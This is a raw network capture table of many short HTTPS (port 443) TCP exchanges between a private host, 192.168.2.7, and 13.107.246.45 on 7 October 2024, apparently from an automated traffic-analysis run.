Oct 7, 2024 18:43:52.921082973 CEST	443	49913	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.937226057 CEST	443	49910	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.937922001 CEST	49910	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.938014030 CEST	443	49910	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:52.938173056 CEST	49910	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:52.938189983 CEST	443	49910	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.031647921 CEST	443	49910	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.031852007 CEST	443	49910	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.031945944 CEST	49910	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.032053947 CEST	49910	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.032079935 CEST	443	49910	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.032094002 CEST	49910	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.032099962 CEST	443	49910	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.035018921 CEST	49914	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.035064936 CEST	443	49914	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.035307884 CEST	49914	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.035307884 CEST	49914	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.035342932 CEST	443	49914	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.053605080 CEST	49908	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.053633928 CEST	443	49908	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.250710964 CEST	443	49911	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.251259089 CEST	49911	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.251288891 CEST	443	49911	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.251714945 CEST	49911	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.251727104 CEST	443	49911	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.347606897 CEST	443	49911	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.347640991 CEST	443	49911	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.347768068 CEST	443	49911	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.347825050 CEST	49911	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.347872972 CEST	49911	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.348128080 CEST	49911	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.348149061 CEST	443	49911	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.348161936 CEST	49911	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.348166943 CEST	443	49911	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.351424932 CEST	49915	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.351511955 CEST	443	49915	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.351608992 CEST	49915	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.351723909 CEST	49915	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.351744890 CEST	443	49915	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.365098000 CEST	443	49912	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.365550041 CEST	49912	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.365570068 CEST	443	49912	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.365962982 CEST	49912	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.365973949 CEST	443	49912	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.461327076 CEST	443	49912	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.461344957 CEST	443	49912	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.461443901 CEST	49912	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.461452007 CEST	443	49912	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.461514950 CEST	49912	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.461744070 CEST	49912	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.461779118 CEST	443	49912	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.461805105 CEST	49912	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.461818933 CEST	443	49912	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.464333057 CEST	49916	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.464389086 CEST	443	49916	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.464474916 CEST	49916	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.464615107 CEST	49916	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.464632034 CEST	443	49916	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.524053097 CEST	443	49913	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.524512053 CEST	49913	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.524537086 CEST	443	49913	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.524979115 CEST	49913	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.524983883 CEST	443	49913	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.654381037 CEST	443	49913	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.654412985 CEST	443	49913	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.654459953 CEST	49913	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.654474020 CEST	443	49913	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.654536009 CEST	49913	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.654664993 CEST	49913	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.654680967 CEST	443	49913	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.654692888 CEST	49913	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.654697895 CEST	443	49913	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.662950039 CEST	49917	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.662990093 CEST	443	49917	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.663044930 CEST	49917	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.663417101 CEST	49917	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.663431883 CEST	443	49917	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.670286894 CEST	443	49914	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.675213099 CEST	49914	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.675225019 CEST	443	49914	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.675673962 CEST	49914	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.675679922 CEST	443	49914	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.771760941 CEST	443	49914	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.771936893 CEST	443	49914	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.772097111 CEST	49914	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.772097111 CEST	49914	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.772097111 CEST	49914	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.774416924 CEST	49918	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.774457932 CEST	443	49918	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.774530888 CEST	49918	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.774646997 CEST	49918	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.774658918 CEST	443	49918	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:53.990988016 CEST	49914	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:53.991024017 CEST	443	49914	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.001760960 CEST	443	49899	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.002269030 CEST	49899	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.002299070 CEST	443	49899	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.002739906 CEST	49899	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.002746105 CEST	443	49899	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.028891087 CEST	443	49915	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.030249119 CEST	49915	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.030273914 CEST	443	49915	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.030682087 CEST	49915	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.030688047 CEST	443	49915	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.107170105 CEST	443	49916	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.107714891 CEST	49916	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.107744932 CEST	443	49916	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.108117104 CEST	49916	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.108123064 CEST	443	49916	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.110847950 CEST	443	49899	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.111011028 CEST	443	49899	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.111083031 CEST	49899	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.111233950 CEST	49899	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.111253977 CEST	443	49899	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.111264944 CEST	49899	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.111270905 CEST	443	49899	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.114418983 CEST	49919	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.114453077 CEST	443	49919	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.114531040 CEST	49919	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.114636898 CEST	49919	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.114644051 CEST	443	49919	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.130934000 CEST	443	49915	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.130979061 CEST	443	49915	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.131031990 CEST	443	49915	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.131129026 CEST	49915	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.131429911 CEST	49915	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.131429911 CEST	49915	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.131444931 CEST	443	49915	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.131455898 CEST	443	49915	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.133826017 CEST	49920	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.133867025 CEST	443	49920	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.133928061 CEST	49920	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.134020090 CEST	49920	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.134027958 CEST	443	49920	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.207707882 CEST	443	49916	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.207776070 CEST	443	49916	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.207994938 CEST	49916	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.208080053 CEST	49916	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.208103895 CEST	443	49916	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.208115101 CEST	49916	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.208120108 CEST	443	49916	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.212125063 CEST	49921	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.212186098 CEST	443	49921	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.212331057 CEST	49921	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.212460995 CEST	49921	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.212495089 CEST	443	49921	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.304519892 CEST	443	49917	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.305002928 CEST	49917	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.305039883 CEST	443	49917	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.305563927 CEST	49917	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.305572033 CEST	443	49917	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.455717087 CEST	443	49918	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.456185102 CEST	49918	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.456211090 CEST	443	49918	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.456696987 CEST	49918	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.456702948 CEST	443	49918	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.461371899 CEST	443	49917	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.461400986 CEST	443	49917	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.461452961 CEST	443	49917	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.461455107 CEST	49917	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.461498976 CEST	49917	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.461592913 CEST	49917	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.461611032 CEST	443	49917	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.461620092 CEST	49917	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.461627007 CEST	443	49917	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.464252949 CEST	49922	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.464309931 CEST	443	49922	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.464390039 CEST	49922	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.464546919 CEST	49922	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.464565039 CEST	443	49922	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.662991047 CEST	443	49918	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.663089037 CEST	443	49918	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.663156986 CEST	49918	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.663346052 CEST	49918	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.663353920 CEST	443	49918	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.663407087 CEST	49918	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.663412094 CEST	443	49918	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.665896893 CEST	49923	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.665939093 CEST	443	49923	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.666032076 CEST	49923	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.666229010 CEST	49923	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.666241884 CEST	443	49923	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.864638090 CEST	443	49920	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.865257978 CEST	49920	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.865278959 CEST	443	49920	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.865710974 CEST	49920	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.865717888 CEST	443	49920	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.879544973 CEST	443	49919	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.879909039 CEST	49919	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.879935980 CEST	443	49919	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.880284071 CEST	49919	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.880289078 CEST	443	49919	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.969007969 CEST	443	49921	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.969607115 CEST	49921	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.969661951 CEST	443	49921	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:54.969990969 CEST	49921	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:54.970004082 CEST	443	49921	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.007814884 CEST	443	49920	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.007905960 CEST	443	49920	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.007975101 CEST	49920	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.008136988 CEST	49920	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.008155107 CEST	443	49920	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.008164883 CEST	49920	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.008169889 CEST	443	49920	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.010737896 CEST	49924	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.010782003 CEST	443	49924	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.010852098 CEST	49924	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.010977030 CEST	49924	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.010989904 CEST	443	49924	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.082406998 CEST	443	49919	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.082508087 CEST	443	49919	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.082568884 CEST	49919	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.082595110 CEST	443	49919	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.082664967 CEST	443	49919	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.082715988 CEST	49919	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.082808018 CEST	49919	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.082832098 CEST	443	49919	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.082839966 CEST	49919	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.082844973 CEST	443	49919	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.085689068 CEST	49925	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.085716963 CEST	443	49925	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.085798025 CEST	49925	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.085947990 CEST	49925	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.085961103 CEST	443	49925	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.197879076 CEST	443	49921	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.197941065 CEST	443	49921	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.198057890 CEST	443	49921	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.198107004 CEST	49921	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.198193073 CEST	49921	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.198647022 CEST	49921	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.198647022 CEST	49921	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.198679924 CEST	443	49921	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.198705912 CEST	443	49921	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.201572895 CEST	49926	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.201612949 CEST	443	49926	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.201689959 CEST	49926	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.201833010 CEST	49926	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.201847076 CEST	443	49926	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.242901087 CEST	443	49922	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.243467093 CEST	49922	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.243483067 CEST	443	49922	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.243899107 CEST	49922	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.243904114 CEST	443	49922	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.339364052 CEST	443	49922	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.339464903 CEST	443	49922	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.339567900 CEST	49922	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.339787960 CEST	49922	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.339817047 CEST	443	49922	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.339834929 CEST	49922	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.339842081 CEST	443	49922	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.342909098 CEST	49927	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.342947006 CEST	443	49927	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.343027115 CEST	49927	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.343183994 CEST	49927	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.343198061 CEST	443	49927	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.502778053 CEST	443	49923	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.503371954 CEST	49923	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.503395081 CEST	443	49923	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.503804922 CEST	49923	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.503810883 CEST	443	49923	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.622139931 CEST	443	49923	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.622230053 CEST	443	49923	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.622312069 CEST	49923	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.622566938 CEST	49923	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.622586012 CEST	443	49923	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.622600079 CEST	49923	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.622606039 CEST	443	49923	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.625993013 CEST	49928	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.626051903 CEST	443	49928	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.626171112 CEST	49928	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.626358986 CEST	49928	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.626373053 CEST	443	49928	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.714819908 CEST	443	49924	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.715339899 CEST	49924	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.715419054 CEST	443	49924	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.715929031 CEST	49924	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.715941906 CEST	443	49924	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.758742094 CEST	443	49925	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.759351015 CEST	49925	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.759388924 CEST	443	49925	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.759809971 CEST	49925	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.759813070 CEST	443	49925	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.810765028 CEST	443	49924	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.810801983 CEST	443	49924	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.810863972 CEST	443	49924	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.810971975 CEST	49924	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.811079979 CEST	49924	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.811439991 CEST	49924	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.811477900 CEST	443	49924	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.811531067 CEST	49924	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.811547995 CEST	443	49924	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.814266920 CEST	49929	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.814301968 CEST	443	49929	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.814398050 CEST	49929	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.814528942 CEST	49929	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.814537048 CEST	443	49929	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.827239037 CEST	443	49926	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.827672005 CEST	49926	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.827694893 CEST	443	49926	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.828059912 CEST	49926	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.828067064 CEST	443	49926	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.914515018 CEST	443	49925	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.914597988 CEST	443	49925	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.915015936 CEST	49925	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.915015936 CEST	49925	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.915061951 CEST	49925	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.915083885 CEST	443	49925	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.918060064 CEST	49930	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.918101072 CEST	443	49930	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.918215990 CEST	49930	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.918474913 CEST	49930	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.918484926 CEST	443	49930	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.922492027 CEST	443	49926	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.922544003 CEST	443	49926	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.922590971 CEST	49926	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.922703028 CEST	49926	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.922703028 CEST	49926	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.922712088 CEST	443	49926	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.922722101 CEST	443	49926	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.924778938 CEST	49931	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.924819946 CEST	443	49931	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.924894094 CEST	49931	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.925051928 CEST	49931	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.925064087 CEST	443	49931	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.983464003 CEST	443	49927	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.983962059 CEST	49927	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.983993053 CEST	443	49927	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:55.984577894 CEST	49927	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:55.984584093 CEST	443	49927	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.082220078 CEST	443	49927	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.082504034 CEST	443	49927	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.082557917 CEST	443	49927	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:56.082581997 CEST	49927	443	192.168.2.7	13.107.246.45
